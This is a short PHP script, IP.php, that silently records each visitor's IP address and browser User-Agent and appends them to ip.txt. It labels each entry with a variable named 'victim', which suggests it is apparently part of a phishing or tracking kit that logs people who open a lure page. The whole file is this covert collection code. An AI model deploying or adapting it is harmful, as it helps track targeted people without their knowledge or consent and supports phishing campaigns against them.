IP.php

<?php

if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
  $ipaddress = $_SERVER['HTTP_CLIENT_IP'] . "\r\n";
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'] . "\r\n";
} else {
  $ipaddress = $_SERVER['REMOTE_ADDR'] . "\r\n";
}
$useragent = " User-Agent: ";
$browser = $_SERVER['HTTP_USER_AGENT'];


$file = 'ip.txt';
$victim = "IP: ";
$fp = fopen($file, 'a');

fwrite($fp, $victim);
fwrite($fp, $ipaddress);
fwrite($fp, $useragent);
fwrite($fp, $browser);


fclose($fp);